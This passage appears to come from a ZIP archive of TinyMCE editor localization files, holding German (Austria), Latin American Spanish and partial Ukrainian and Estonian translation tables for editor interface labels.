"Header": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Body": "\u0422\u0456\u043b\u043e",
"Footer": "\u041d\u0438\u0436\u043d\u0456\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Border color": "\u041a\u043e\u043b\u0456\u0440 \u043c\u0435\u0436\u0456",
"Insert template": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u041a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443",
"Background color": "\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",
"Custom...": "\u0406\u043d\u0448\u0438\u0439...",
"Custom color": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0446\u044c\u043a\u0438\u0439 \u043a\u043e\u043b\u0456\u0440",
"No color": "\u0411\u0435\u0437 \u043a\u043e\u043b\u044c\u043e\u0440\u0443",
"Table of Contents": "\u0417\u043c\u0456\u0441\u0442",
"Show blocks": "\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0438 \u0431\u043b\u043e\u043a\u0438",
"Show invisible characters": "\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0456 \u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Words: {0}": "\u0421\u043b\u043e\u0432\u0430: {0}",
"{0} words": "{0} \u0441\u043b\u0456\u0432",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u041f\u0440\u0430\u0432\u043a\u0430",
"Insert": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
"View": "\u0412\u0438\u0434",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u044f",
"Tools": "\u0406\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438",
"Powered by {0}": "\u0417\u0430 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0438\u043a\u0438 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u041e\u0431\u043b\u0430\u0441\u0442\u044c Rich \u0442\u0435\u043a\u0441\u0442\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT-F9 - \u043c\u0435\u043d\u044e. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT-F10 - \u043f\u0430\u043d\u0435\u043b\u044c \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0456\u0432. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT-0 - \u0434\u043e\u0432\u0456\u0434\u043a\u0430"
});PK
h�\:@�q'q'!program/js/tinymce/langs/de_AT.jsnu�[���tinymce.addI18n('de_AT',{
"Redo": "Wiederholen",
"Undo": "R\u00fcckg\u00e4ngig",
"Cut": "Ausschneiden",
"Copy": "Kopieren",
"Paste": "Einf\u00fcgen",
"Select all": "Alles ausw\u00e4hlen",
"New document": "Neues Dokument",
"Ok": "Ok",
"Cancel": "Abbrechen",
"Visual aids": "Hilfslinien und unsichtbare Elemente einblenden",
"Bold": "Fett",
"Italic": "Kursiv",
"Underline": "Unterstrichen",
"Strikethrough": "Durchgestrichen",
"Superscript": "Hochgestellt",
"Subscript": "Tiefgestellt",
"Clear formatting": "Formatierungen zur\u00fccksetzen",
"Align left": "Linksb\u00fcndig",
"Align center": "Zentriert",
"Align right": "Rechtsb\u00fcndig",
"Justify": "Blocksatz",
"Bullet list": "Unsortierte Liste",
"Numbered list": "Sortierte Liste",
"Decrease indent": "Ausr\u00fccken",
"Increase indent": "Einr\u00fccken",
"Close": "Schlie\u00dfen",
"Formats": "Formate",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Ihr Browser unterst\u00fctzt keinen direkten Zugriff auf die Zwischenablage. Bitte nutzen Sie die Tastaturk\u00fcrzel Strg+X\/C\/V stattdessen.",
"Headers": "\u00dcberschriften",
"Header 1": "\u00dcberschrift 1",
"Header 2": "\u00dcberschrift 2",
"Header 3": "\u00dcberschrift 3",
"Header 4": "\u00dcberschrift 4",
"Header 5": "\u00dcberschrift 5",
"Header 6": "\u00dcberschrift 6",
"Headings": "\u00dcberschriften",
"Heading 1": "\u00dcberschrift 1",
"Heading 2": "\u00dcberschrift 2",
"Heading 3": "\u00dcberschrift 3",
"Heading 4": "\u00dcberschrift 4",
"Heading 5": "\u00dcberschrift 5",
"Heading 6": "\u00dcberschrift 6",
"Preformatted": "Vorformatiert",
"Div": "Block (div)",
"Pre": "Vorformatierter Text (pre)",
"Code": "Code (code)",
"Paragraph": "Absatz (p)",
"Blockquote": "Zitat (blockquote)",
"Inline": "Inline",
"Blocks": "Bl\u00f6cke",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Alle Texte werden nun ohne Formatierung eingef\u00fcgt, bis diese Einstellung wieder ge\u00e4ndert wird.",
"Font Family": "Schriftart",
"Font Sizes": "Schriftgr\u00f6\u00dfen",
"Class": "Klasse",
"Browse for an image": "Bild...",
"OR": "oder",
"Drop an image here": "Bild hierher ziehen",
"Upload": "Hochladen",
"Block": "Block",
"Align": "Ausrichtung",
"Default": "Standard",
"Circle": "Kreis",
"Disc": "Gef\u00fcllter Kreis",
"Square": "Quadrat",
"Lower Alpha": "Kleinbuchstaben",
"Lower Greek": "Griechische Kleinbuchstaben",
"Lower Roman": "R\u00f6mische Zahlen (Kleinbuchstaben)",
"Upper Alpha": "Gro\u00dfbuchstaben",
"Upper Roman": "R\u00f6mische Zahlen (Gro\u00dfbuchstaben)",
"Anchor": "Anker",
"Name": "Name",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Eine ID f\u00e4ngt mit einem Buchstaben an, gefolgt von Buchstaben, Ziffern, Bindestrichen, Punkten, Doppelpunkten oder Unterstrichen.",
"You have unsaved changes are you sure you want to navigate away?": "Sie haben ungespeicherte \u00c4nderungen. Sind Sie sicher, dass Sie die Seite verlassen wollen?",
"Restore last draft": "Letzten Entwurf wiederherstellen.",
"Special character": "Sonderzeichen",
"Source code": "Quelltext",
"Insert\/Edit code sample": "Beispielcode einf\u00fcgen\/bearbeiten",
"Language": "Sprache",
"Code sample": "Code Beispiel",
"Color": "Farbe",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Links nach rechts",
"Right to left": "Rechts nach links",
"Emoticons": "Emoticons",
"Document properties": "Dokumenteigenschaften",
"Title": "Titel",
"Keywords": "Schl\u00fcsselw\u00f6rter",
"Description": "Beschreibung",
"Robots": "Suchmaschinen",
"Author": "Autor",
"Encoding": "Enkodierung",
"Fullscreen": "Vollbild",
"Action": "Aktion",
"Shortcut": "Tastenkombination",
"Help": "Hilfe",
"Address": "Adresse",
"Focus to menubar": "Fokus auf Men\u00fcleiste",
"Focus to toolbar": "Fokus auf Werkzeugleiste",
"Focus to element path": "Fokus auf Elementpfad",
"Focus to contextual toolbar": "Fokus auf kontextbezogene Werkzeugleiste",
"Insert link (if link plugin activated)": "Link einf\u00fcgen (wenn Plugin aktiv ist)",
"Save (if save plugin activated)": "Speichern (wenn Plugin aktiv ist)",
"Find (if searchreplace plugin activated)": "Suchen (wenn Plugin aktiv ist)",
"Plugins installed ({0}):": "Installierte Plugins ({0}):",
"Premium plugins:": "Premium Plugins:",
"Learn more...": "Mehr Informationen...",
"You are using {0}": "Sie verwenden {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Praktische Abk\u00fcrzungen",
"Horizontal line": "Horizontale Trennlinie",
"Insert\/edit image": "Bild einf\u00fcgen\/bearbeiten",
"Image description": "Bildbeschreibung",
"Source": "Adresse",
"Dimensions": "Ausma\u00dfe",
"Constrain proportions": "Seitenverh\u00e4ltnis beibehalten",
"General": "Allgemein",
"Advanced": "Erweitert",
"Style": "Format",
"Vertical space": "Vertikaler Abstand",
"Horizontal space": "Horizontaler Abstand",
"Border": "Rahmen",
"Insert image": "Bild einf\u00fcgen",
"Image": "Bild",
"Image list": "Bilderliste",
"Rotate counterclockwise": "Gegen den Uhrzeigersinn drehen",
"Rotate clockwise": "Im Uhrzeigersinn drehen",
"Flip vertically": "Vertikal kippen",
"Flip horizontally": "Horizontal kippen",
"Edit image": "Bild bearbeiten",
"Image options": "Bildeinstellungen",
"Zoom in": "Einzoomen",
"Zoom out": "Auszoomen",
"Crop": "Zuschneiden",
"Resize": "Gr\u00f6\u00dfe \u00e4ndern",
"Orientation": "Orientierung",
"Brightness": "Helligkeit",
"Sharpen": "Sch\u00e4rfen",
"Contrast": "Kontrast",
"Color levels": "Farbwerte",
"Gamma": "Gamma",
"Invert": "Invertieren",
"Apply": "Anwenden",
"Back": "Zur\u00fcck",
"Insert date\/time": "Zeit\/Datum einf\u00fcgen",
"Date\/time": "Zeit\/Datum",
"Insert link": "Link einf\u00fcgen",
"Insert\/edit link": "Link einf\u00fcgen\/bearbeiten",
"Text to display": "Angezeigter Text",
"Url": "Url",
"Target": "Ziel",
"None": "Keine",
"New window": "Neues Fenster",
"Remove link": "Link entfernen",
"Anchors": "Anker",
"Link": "Link",
"Paste or type a link": "Link einf\u00fcgen oder eintippen",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Die eingegebene URL scheint eine E-Mail-Adresse zu sein. Soll das notwendige \"mailto:\"-Pr\u00e4fix hinzugef\u00fcgt werden?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Die eingegebene URL scheint eine externe Web-Adresse zu sein. Soll das notwendige \"http:\/\/\"-Pr\u00e4fix hinzugef\u00fcgt werden?",
"Link list": "Linkliste",
"Insert video": "Video einf\u00fcgen",
"Insert\/edit video": "Video einf\u00fcgen\/bearbeiten",
"Insert\/edit media": "Medien einf\u00fcgen\/bearbeiten",
"Alternative source": "Alternative Quelle",
"Poster": "Poster",
"Paste your embed code below:": "F\u00fcgen unten Sie Ihren Quellcode zum einbetten ein",
"Embed": "Einbetten",
"Media": "Medien",
"Nonbreaking space": "gesch\u00fctztes Leerzeichen",
"Page break": "Seitenumbruch",
"Paste as text": "Als Text einf\u00fcgen",
"Preview": "Vorschau",
"Print": "Drucken",
"Save": "Speichern",
"Find": "Suchen",
"Replace with": "Ersetzen durch",
"Replace": "Ersetzen",
"Replace all": "Alle ersetzen",
"Prev": "Vorheriges",
"Next": "N\u00e4chstes",
"Find and replace": "Suchen und ersetzen",
"Could not find the specified string.": "Keine \u00dcbereinstimmung gefunden",
"Match case": "Gro\u00df-\/Kleinschreibung beachten",
"Whole words": "Vollst\u00e4ndige W\u00f6rter",
"Spellcheck": "Rechtschreibung \u00fcberpr\u00fcfen",
"Ignore": "Ignorieren",
"Ignore all": "Alle ignorieren",
"Finish": "Fertig",
"Add to Dictionary": "Zum W\u00f6rterbuch hinzuf\u00fcgen",
"Insert table": "Tabelle einf\u00fcgen",
"Table properties": "Tabelleneigenschaften",
"Delete table": "Tabelle l\u00f6schen",
"Cell": "Zelle",
"Row": "Zeile",
"Column": "Spalte",
"Cell properties": "Zelleneigenschaften",
"Merge cells": "Zellen vereinen",
"Split cell": "Verbundene Zellen trennen",
"Insert row before": "Neue Zeile oberhalb einf\u00fcgen",
"Insert row after": "Neue Zeile unterhalb einf\u00fcgen",
"Delete row": "Zeile l\u00f6schen",
"Row properties": "Zeileneigenschaften",
"Cut row": "Zeile ausschneiden",
"Copy row": "Zeile kopieren",
"Paste row before": "Zeile oberhalb einf\u00fcgen",
"Paste row after": "Zeile unterhalb einf\u00fcgen",
"Insert column before": "Neue Spalte links einf\u00fcgen",
"Insert column after": "Neue Spalte rechts einf\u00fcgen",
"Delete column": "Spalte l\u00f6schen",
"Cols": "Spalten",
"Rows": "Zeilen",
"Width": "Breite",
"Height": "H\u00f6he",
"Cell spacing": "Zellenabstand",
"Cell padding": "Abstand innerhalb der Zellen",
"Caption": "Beschriftung der Tabelle",
"Left": "Links",
"Center": "Zentriert",
"Right": "Rechts",
"Cell type": "Zellentyp",
"Scope": "Geltungsbereich",
"Alignment": "Ausrichtung",
"H Align": "Ausrichtung H",
"V Align": "Ausrichtung V",
"Top": "Oben",
"Middle": "Mitte",
"Bottom": "Unten",
"Header cell": "\u00dcberschrift",
"Row group": "Zeilengruppe",
"Column group": "Spaltengruppe",
"Row type": "Zeilentyp",
"Header": "Tabellen\u00fcberschrift",
"Body": "Tabellenk\u00f6rper",
"Footer": "Tabellenfu\u00df",
"Border color": "Rahmenfarbe",
"Insert template": "Vorlage einf\u00fcgen",
"Templates": "Vorlagen",
"Template": "Vorlage",
"Text color": "Textfarbe",
"Background color": "Hintergrundfarbe",
"Custom...": "Benutzerdefiniert...",
"Custom color": "Benutzerdefinierte Farbe",
"No color": "Keine Farbe",
"Table of Contents": "Inhaltsverzeichnis",
"Show blocks": "Blockelemente einblenden",
"Show invisible characters": "Unsichtbare Zeichen einblenden",
"Words: {0}": "W\u00f6rter: {0}",
"{0} words": "{0} W\u00f6rter",
"File": "Datei",
"Edit": "Bearbeiten",
"Insert": "Einf\u00fcgen",
"View": "Ansicht",
"Format": "Format",
"Table": "Tabelle",
"Tools": "Extras",
"Powered by {0}": "Betrieben von {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Dr\u00fccken Sie ALT-F9 f\u00fcr das Men\u00fc. Dr\u00fccken Sie ALT-F10 f\u00fcr die Werkzeugleiste. Dr\u00fccken Sie ALT-0 f\u00fcr Hilfe"
});PK
h�\�Uy�*@*@"program/js/tinymce/langs/es_419.jsnu�[���tinymce.addI18n('es_419',{
"Redo": "Rehacer",
"Undo": "Deshacer",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Pegar",
"Select all": "Seleccionar todo",
"New document": "Nuevo documento",
"Ok": "Ok",
"Cancel": "Cancelar",
"Visual aids": "Ayudas visuales",
"Bold": "Negrita",
"Italic": "Cursiva",
"Underline": "Subrayado",
"Strikethrough": "Tachado",
"Superscript": "Super\u00edndice",
"Subscript": "Sub\u00edndice",
"Clear formatting": "Limpiar formato",
"Align left": "Alinear a la izquierda",
"Align center": "Centrar",
"Align right": "Alinear a la derecha",
"Justify": "Justificar",
"Bullet list": "Lista de vi\u00f1etas",
"Numbered list": "Lista numerada",
"Decrease indent": "Disminuir sangr\u00eda",
"Increase indent": "Aumentar sangr\u00eda",
"Close": "Cerrar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Tu navegador no soporta acceso directo al portapapeles. Favor usar los comandos de teclado Ctrl+X\/C\/V",
"Headers": "Encabezados",
"Header 1": "Encabezado 1",
"Header 2": "Encabezado 2",
"Header 3": "Encabezado 3",
"Header 4": "Encabezado 4",
"Header 5": "Encabezado 5",
"Header 6": "Encabezado 6",
"Headings": "T\u00edtulos",
"Heading 1": "T\u00edtulo 1",
"Heading 2": "T\u00edtulo 2",
"Heading 3": "T\u00edtulo 3",
"Heading 4": "T\u00edtulo 4",
"Heading 5": "T\u00edtulo 5",
"Heading 6": "T\u00edtulo 6",
"Preformatted": "Preformateado",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "P\u00e1rrafo",
"Blockquote": "Cita",
"Inline": "En l\u00ednea",
"Blocks": "Bloques",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",
"Fonts": "Fonts",
"Font Sizes": "Tama\u00f1os de Fuente",
"Class": "Class",
"Browse for an image": "Examinar imagen",
"OR": "O",
"Drop an image here": "Arrastrar imagen aqu\u00ed",
"Upload": "Subir",
"Block": "Bloque",
"Align": "Alinear",
"Default": "Default",
"Circle": "Circle",
"Disc": "Disc",
"Square": "Square",
"Lower Alpha": "Lower Alpha",
"Lower Greek": "Lower Greek",
"Lower Roman": "Lower Roman",
"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Anchor...": "Anchor...",
"Name": "Name",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "You have unsaved changes are you sure you want to navigate away?",
"Restore last draft": "Restore last draft",
"Special character...": "Special character...",
"Source code": "Source code",
"Insert\/Edit code sample": "Insert\/Edit code sample",
"Language": "Language",
"Code sample...": "Code sample...",
"Color Picker": "Color Picker",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Left to right",
"Right to left": "Right to left",
"Emoticons": "Emoticons",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Metadata and Document Properties",
"Title": "Title",
"Keywords": "Keywords",
"Description": "Description",
"Robots": "Robots",
"Author": "Author",
"Encoding": "Encoding",
"Fullscreen": "Fullscreen",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "Horizontal line",
"Insert\/edit image": "Insert\/edit image",
"Alternative description": "Descripci\u00f3n alternativa",
"Accessibility": "Accesibilidad",
"Image is decorative": "La imagen es decorativa",
"Source": "Source",
"Dimensions": "Dimensions",
"Constrain proportions": "Constrain proportions",
"General": "General",
"Advanced": "Advanced",
"Style": "Style",
"Vertical space": "Vertical space",
"Horizontal space": "Horizontal space",
"Border": "Border",
"Insert image": "Insert image",
"Image...": "Image...",
"Image list": "Image list",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "Insert date\/time",
"Date\/time": "Date\/time",
"Insert\/edit link": "Insert\/edit link",
"Text to display": "Text to display",
"Url": "Url",
"Open link in...": "Open link in...",
"Current window": "Current window",
"None": "None",
"New window": "New window",
"Open link": "Enlace abierto",
"Remove link": "Remove link",
"Anchors": "Anchors",
"Link...": "Link...",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "La URL que ingres\u00f3 parece ser un enlace externo. \u00bfDesea agregar el prefijo https:\/\/ requerido?",
"Link list": "Link list",
"Insert video": "Insert video",
"Insert\/edit video": "Insert\/edit video",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "Alternative source",
"Alternative source URL": "Alternative source URL",
"Media poster (Image URL)": "Media poster (Image URL)",
"Paste your embed code below:": "Paste your embed code below:",
"Embed": "Embed",
"Media...": "Media...",
"Nonbreaking space": "Nonbreaking space",
"Page break": "Page break",
"Paste as text": "Paste as text",
"Preview": "Preview",
"Print...": "Print...",
"Save": "Save",
"Find": "Find",
"Replace with": "Replace with",
"Replace": "Replace",
"Replace all": "Replace all",
"Previous": "Previous",
"Next": "Next",
"Find and Replace": "Encontrar y Reemplazar",
"Find and replace...": "Find and replace...",
"Could not find the specified string.": "Could not find the specified string.",
"Match case": "Match case",
"Find whole words only": "Find whole words only",
"Find in selection": "Encontrar en la selecci\u00f3n",
"Spellcheck": "Spellcheck",
"Spellcheck Language": "Spellcheck Language",
"No misspellings found.": "No se encontraron errores ortogr\u00e1ficos.",
"Ignore": "Ignore",
"Ignore all": "Ignore all",
"Finish": "Finish",
"Add to Dictionary": "Add to Dictionary",
"Insert table": "Insert table",
"Table properties": "Table properties",
"Delete table": "Delete table",
"Cell": "Cell",
"Row": "Row",
"Column": "Column",
"Cell properties": "Cell properties",
"Merge cells": "Merge cells",
"Split cell": "Split cell",
"Insert row before": "Insert row before",
"Insert row after": "Insert row after",
"Delete row": "Delete row",
"Row properties": "Row properties",
"Cut row": "Cut row",
"Copy row": "Copy row",
"Paste row before": "Paste row before",
"Paste row after": "Paste row after",
"Insert column before": "Insert column before",
"Insert column after": "Insert column after",
"Delete column": "Delete column",
"Cols": "Cols",
"Rows": "Rows",
"Width": "Width",
"Height": "Height",
"Cell spacing": "Cell spacing",
"Cell padding": "Cell padding",
"Caption": "Caption",
"Show caption": "Show caption",
"Left": "Left",
"Center": "Center",
"Right": "Right",
"Cell type": "Cell type",
"Scope": "Scope",
"Alignment": "Alignment",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Middle",
"Bottom": "Bottom",
"Header cell": "Header cell",
"Row group": "Row group",
"Column group": "Column group",
"Row type": "Row type",
"Header": "Header",
"Body": "Body",
"Footer": "Footer",
"Border color": "Border color",
"Insert template...": "Insert template...",
"Templates": "Templates",
"Template": "Template",
"Text color": "Text color",
"Background color": "Background color",
"Custom...": "Custom...",
"Custom color": "Custom color",
"No color": "No color",
"Remove color": "Remove color",
"Table of Contents": "Table of Contents",
"Show blocks": "Show blocks",
"Show invisible characters": "Show invisible characters",
"Word count": "Word count",
"Count": "Count",
"Document": "Document",
"Selection": "Selection",
"Words": "Words",
"Words: {0}": "Words: {0}",
"{0} words": "{0} words",
"File": "File",
"Edit": "Edit",
"Insert": "Insert",
"View": "View",
"Format": "Format",
"Table": "Table",
"Tools": "Tools",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help",
"Image title": "Image title",
"Border width": "Border width",
"Border style": "Border style",
"Error": "Error",
"Warn": "Warn",
"Valid": "Valid",
"To open the popup, press Shift+Enter": "To open the popup, press Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Rich Text Area. Press ALT-0 for help.",
"System Font": "System Font",
"Failed to upload image: {0}": "Failed to upload image: {0}",
"Failed to load plugin: {0} from url {1}": "Failed to load plugin: {0} from url {1}",
"Failed to load plugin url: {0}": "Failed to load plugin url: {0}",
"Failed to initialize plugin: {0}": "Failed to initialize plugin: {0}",
"example": "example",
"Search": "Search",
"All": "All",
"Currency": "Currency",
"Text": "Text",
"Quotations": "Quotations",
"Mathematical": "Mathematical",
"Extended Latin": "Extended Latin",
"Symbols": "Symbols",
"Arrows": "Arrows",
"User Defined": "User Defined",
"dollar sign": "dollar sign",
"currency sign": "currency sign",
"euro-currency sign": "euro-currency sign",
"colon sign": "colon sign",
"cruzeiro sign": "cruzeiro sign",
"french franc sign": "french franc sign",
"lira sign": "lira sign",
"mill sign": "mill sign",
"naira sign": "naira sign",
"peseta sign": "peseta sign",
"rupee sign": "rupee sign",
"won sign": "won sign",
"new sheqel sign": "new sheqel sign",
"dong sign": "dong sign",
"kip sign": "kip sign",
"tugrik sign": "tugrik sign",
"drachma sign": "drachma sign",
"german penny symbol": "german penny symbol",
"peso sign": "peso sign",
"guarani sign": "guarani sign",
"austral sign": "austral sign",
"hryvnia sign": "hryvnia sign",
"cedi sign": "cedi sign",
"livre tournois sign": "livre tournois sign",
"spesmilo sign": "spesmilo sign",
"tenge sign": "tenge sign",
"indian rupee sign": "indian rupee sign",
"turkish lira sign": "turkish lira sign",
"nordic mark sign": "nordic mark sign",
"manat sign": "manat sign",
"ruble sign": "ruble sign",
"yen character": "yen character",
"yuan character": "yuan character",
"yuan character, in hong kong and taiwan": "yuan character, in hong kong and taiwan",
"yen\/yuan character variant one": "yen\/yuan character variant one",
"Loading emoticons...": "Loading emoticons...",
"Could not load emoticons": "Could not load emoticons",
"People": "People",
"Animals and Nature": "Animals and Nature",
"Food and Drink": "Food and Drink",
"Activity": "Activity",
"Travel and Places": "Travel and Places",
"Objects": "Objects",
"Flags": "Flags",
"Characters": "Characters",
"Characters (no spaces)": "Characters (no spaces)",
"{0} characters": "{0} characters",
"Error: Form submit field collision.": "Error: Form submit field collision.",
"Error: No form element found.": "Error: No form element found.",
"Update": "Update",
"Color swatch": "Color swatch",
"Turquoise": "Turquoise",
"Green": "Green",
"Blue": "Blue",
"Purple": "Purple",
"Navy Blue": "Navy Blue",
"Dark Turquoise": "Dark Turquoise",
"Dark Green": "Dark Green",
"Medium Blue": "Medium Blue",
"Medium Purple": "Medium Purple",
"Midnight Blue": "Midnight Blue",
"Yellow": "Yellow",
"Orange": "Orange",
"Red": "Red",
"Light Gray": "Light Gray",
"Gray": "Gray",
"Dark Yellow": "Dark Yellow",
"Dark Orange": "Dark Orange",
"Dark Red": "Dark Red",
"Medium Gray": "Medium Gray",
"Dark Gray": "Dark Gray",
"Light Green": "Light Green",
"Light Yellow": "Light Yellow",
"Light Red": "Light Red",
"Light Purple": "Light Purple",
"Light Blue": "Light Blue",
"Dark Purple": "Dark Purple",
"Dark Blue": "Dark Blue",
"Black": "Black",
"White": "White",
"Switch to or from fullscreen mode": "Switch to or from fullscreen mode",
"Open help dialog": "Open help dialog",
"history": "history",
"styles": "styles",
"formatting": "formatting",
"alignment": "alignment",
"indentation": "indentation",
"Font": "Font",
"Size": "Size",
"More...": "More...",
"Select...": "Select...",
"Preferences": "Preferences",
"Yes": "Yes",
"No": "No",
"Keyboard Navigation": "Keyboard Navigation",
"Version": "Version",
"Code view": "Vista de c\u00f3digo",
"Open popup menu for split buttons": "Abrir men\u00fa emergente para botones divididos",
"List Properties": "Propiedades de Lista",
"List properties...": "Propiedades de lista...",
"Start list at number": "Iniciar lista en el n\u00famero",
"Line height": "Altura de la l\u00ednea",
"comments": "comments",
"Format Painter": "Format Painter",
"Insert\/edit iframe": "Insert\/edit iframe",
"Capitalization": "Capitalization",
"lowercase": "lowercase",
"UPPERCASE": "UPPERCASE",
"Title Case": "Title Case",
"permanent pen": "permanent pen",
"Permanent Pen Properties": "Permanent Pen Properties",
"Permanent pen properties...": "Permanent pen properties...",
"case change": "Cambiar May\u00fasculas y Min\u00fasculas",
"page embed": "p\u00e1gina incrustada",
"Advanced sort...": "Orden avanzado...",
"Advanced Sort": "Orden Avanzado",
"Sort table by column ascending": "Ordenar tabla por columna ascendente",
"Sort table by column descending": "Ordenar tabla por columna descendente",
"Sort": "Ordenar",
"Order": "Orden",
"Sort by": "Ordenar por",
"Ascending": "Ascendente",
"Descending": "Descendiente",
"Column {0}": "Columna {0}",
"Row {0}": "Fila {0}",
"Spellcheck...": "Corrector...",
"Misspelled word": "Palabra mal escrita",
"Suggestions": "Sugerencias",
"Change": "Cambiar",
"Finding word suggestions": "Encontrar sugerencias de palabras",
"Success": "\u00c9xito",
"Repair": "Reparar",
"Issue {0} of {1}": "Problema {0} de {1}",
"Images must be marked as decorative or have an alternative text description": "Las im\u00e1genes deben estar marcadas como decorativas o tener una descripci\u00f3n de texto alternativa",
"Images must have an alternative text description. Decorative images are not allowed.": "Las im\u00e1genes deben tener una descripci\u00f3n de texto alternativa. No se permiten im\u00e1genes decorativas.",
"Or provide alternative text:": "O proporcione texto alternativo:",
"Make image decorative:": "Hacer la imagen decorativa:",
"ID attribute must be unique": "El atributo de ID debe ser \u00fanico",
"Make ID unique": "Hacer que ID sea \u00fanica",
"Keep this ID and remove all others": "Conserve esta ID y elimine todas las dem\u00e1s",
"Remove this ID": "Eliminar esta ID",
"Remove all IDs": "Eliminar todos los ID",
"Checklist": "Lista de Verificaci\u00f3n",
"Anchor": "Anchor",
"Special character": "Special character",
"Code sample": "Code sample",
"Color": "Color",
"Document properties": "Document properties",
"Image description": "Image description",
"Image": "Image",
"Insert link": "Insert link",
"Target": "Target",
"Link": "Link",
"Poster": "Poster",
"Media": "Media",
"Print": "Print",
"Prev": "Prev",
"Find and replace": "Find and replace",
"Whole words": "Whole words",
"Insert template": "Insert template"
});PK
h�\���<�<program/js/tinymce/langs/et.jsnu�[���tinymce.addI18n('et',{
"Redo": "Tee uuesti",
"Undo": "V\u00f5ta tagasi",
"Cut": "L\u00f5ika",
"Copy": "Kopeeri",
"Paste": "Kleebi",
"Select all": "Vali k\u00f5ik",
"New document": "Uus dokument",
"Ok": "Ok",
"Cancel": "Katkesta",
"Visual aids": "N\u00e4itevahendid",
"Bold": "Rasvane",
"Italic": "Kaldkiri",
"Underline": "Allakriipsutatud",
"Strikethrough": "L\u00e4bikriipsutatud",
"Superscript": "\u00dclaindeks",
"Subscript": "Alaindeks",
"Clear formatting": "Puhasta vorming",
"Align left": "Joonda vasakule",
"Align center": "Joonda keskele",
"Align right": "Joonda paremale",
